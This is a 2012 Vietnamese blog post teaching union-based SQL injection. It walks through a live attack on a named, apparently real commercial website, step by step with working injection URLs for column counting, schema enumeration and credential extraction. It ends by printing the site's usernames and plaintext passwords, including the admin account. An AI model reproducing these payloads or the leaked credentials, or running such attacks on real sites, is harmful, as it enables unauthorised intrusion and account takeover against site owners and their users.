Chia sẻ thông tin

KenjiVN - Quốc Trưởng

Search This Blog

Monday, June 11, 2012

Hướng dẫn tấn công website P1

Tham gia đã lâu,hôm nay rảnh rỗi viết bài hacking cho mọi người tham khảo.Vì thấy có nhiều bạn hỏi hỏi Sql là gì?lfi,rfi là gì?Làm thế nào hack 1 website ,hack 1 forum?Làm sao get root,.....?Một phần vì ở nbt hacking không phát triển mấy .Vì thế bài viết này hi vọng giúp các bạn hiểu rõ vấn đề cũng như đam mê về hack hơn.
Định nghĩa Sql injection là gì?
Đơn giản injection tiếng việt là tiêm.Sql injection là tiêm các câu truy vấn vào.
Bài viết này mình hướng dẫn các bạn về web php,cơ sở dữ liệu phpmysql.
Sql injection chia làm 4 loại cơ bản:
• +Inband
• +Blind
• +Timebase
• +Out of band
Hôm nay ktc2608 sẽ hướng dẫn các bạn khai thác website thông qua lỗi Inband.
Lý thuyết Inband -SQLi:
-Inband là phương pháp dùng hàm union để khai thác.
-Union là hàm lien kết 2 truy vấn (query)”Select….” Với nhau.
Từ version 5.0 trở đi ,mysql có thềm :
• 1 database hệ thống là information_schema
• Các tabkle hệ thống của nó là tables,columns,table chi,….
• 2 table chúng ta cần quan tâm trong information_schema là tables và columns vì 2 table này chứ tên các table và column của website trên hệ thông
Cách khai thác gồm 4 bước
Bước 1:
Kiểm tran website có bị lỗi sql không
Bước 2:
Đếm số cột dùng order by đế xác định cột
Bước 3:
Sử dụng Union liên kết 2 câu truy vấn,tìm table cần khác thác thong qua information_schema.Tables
Bước 4:

Dựa trên information_chema.Columns để tìm các COLUMN thuộc table tương ứng bên trên.
Bước 5:

Có talbe và column cần thiết rôi ta chỉ việc khai thác thong tin cần biết
Thực hành
Victim:

Mã:
http://www.kemlam.com
Lang thang tìm được cái link này
Mã:
http://www.kemlam.com/?content=detail&proID=10
Bước 1:
Đầu tiên kiểm tra xem nó có bị lỗi sql injection không đã
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=10'
Mình thêm dấu nháy thử,vì giả sử câu truy vấn nó thế này
Mã:
$query = 'select * from sanpham where id=1';
Khi thêm dấu ' thì câu truy vấn sẽ là $query = 'select * from sanpham where id=1'';
=>Có tới 3 dấu nháy=> PHP sẽ báo syntax error hoặc hiện trang khác so với bình thường
Bước 2:Đếm số cột dùng order by đế xác định cột.Mình thử đoán số column là 13.Nên order 13 thử.
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=10 order by 13 --
==>Kết quả trả về bình thường.
Thử order by 14 xem sao
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=10 order by 14 --
Mã:
==>Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /home/kemlam/domains/kemlam.com/public_html/details.phpon line 8
Vậy chỉ có 13 Column
Ở đây mình sử dụng dấu -- là đến loại bỏ những phần sau câu truy vấn,trong phpmysql nó dùng để ghi những comment
Bước 3:Sử dụng Union liên kết 2 câu truy vấn,tìm table cần khác thác thong qua information_schema.Tables
Đầu tiên thực hiện Union.
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13 --
Id mình sửa lại Null để kết quả câu truy vấn trả về là rỗng,mới show được các column bị lỗi show ra là column số 4 5 6 7 8 9 10.Mình sử dụng hàm version() để show ra version .version() đặt ở 1 trong vị trí các column bị lỗi.ở đây mình đặt ở column số 4
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null UNION SELECT 1,2,3,4,version(),6,7,8,9,10,11,12,13 --
=>Kết quả 5.0.51a-community=>Ngon ăn ,vì mình đã ghi chú ý về version >5.0 trên rồi
Truy vấn các table cần khai thác thông qua information_schema.Tables
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null  UNION SELECT 1,2,3,4,group_concat(table_name) ,6,7,8,9,10,11,12,13   from information_schema.tables where table_schema=database()--
=>Kết quả show ra các
Mã:
table:ads_vn,category_vn,cust_vn,hitcounter,notice,onlin e,pages_vn,product_vn,tinnoibat_vn,tintuc_vn,users
Đến đây mình đoán table users là table chứa user và password admin.(Kỹ năng của mỗi người thôi)
Bước 4ựa trên information_chema.Columns để tìm các COLUMN thuộc table tương ứng bên trên.
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null  UNION SELECT 1,2,3,4,group_concat(column_name) ,6,7,8,9,10,11,12,13   from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115)--
=>Kq trả về các column trong table users:User_ID,Username,realName,Pass,uRight
đến đây có bạn sẽ thắc mắc,Vì sao talbe_name=CHAR(117, 115, 101, 114, 115)-- mà không phải là table_name=users?
Đơn giản vì ở đây,trong file php.ini magic_quote đang ở chế đố on,nên ta phải đổi qua kiểu char hoặc kiểu ascii,trên đó mình chuyển sang kiểu char.
Bước 5:Có talbe và column cần thiết rôi ta chỉ việc khai thác thong tin cần biết
2 column mình quan tâm là Username,Pass vì mình đoán user và password sẽ đặt ở đây.
Lấy thông tin bằng câu truy vấn đơn giản
Mã:
Mã:
http://www.kemlam.com/?content=detail&proID=Null%20UNION SELECT 1,2,3,4,group_concat(Username,0x2f,Pass),6,7,8,9,10,11,12,13 from users--
=>admin/qsv50502415,kemlam/123654,dinhtuan/123654
Có user và password giờ tim link admin đăng nhập thôi.
Tuy nhiên không khuyến khích các bạn phá hoại website người khác,nếu muốn thể hiện thì up 1 file .txt rồi gửi link cho bạn bè là được rồi
Ai có thắc mắc gì cứ reply phía dưới,nếu mình biết sẽ trả lời,mới viết 1 cách mà dài quá,các kiểu tấn công khác website khác mình sẽ viết ở P2,P3....
Anh em thank nhiệt tình nhé để làm những lỗi khác

0 comments:

Post a Comment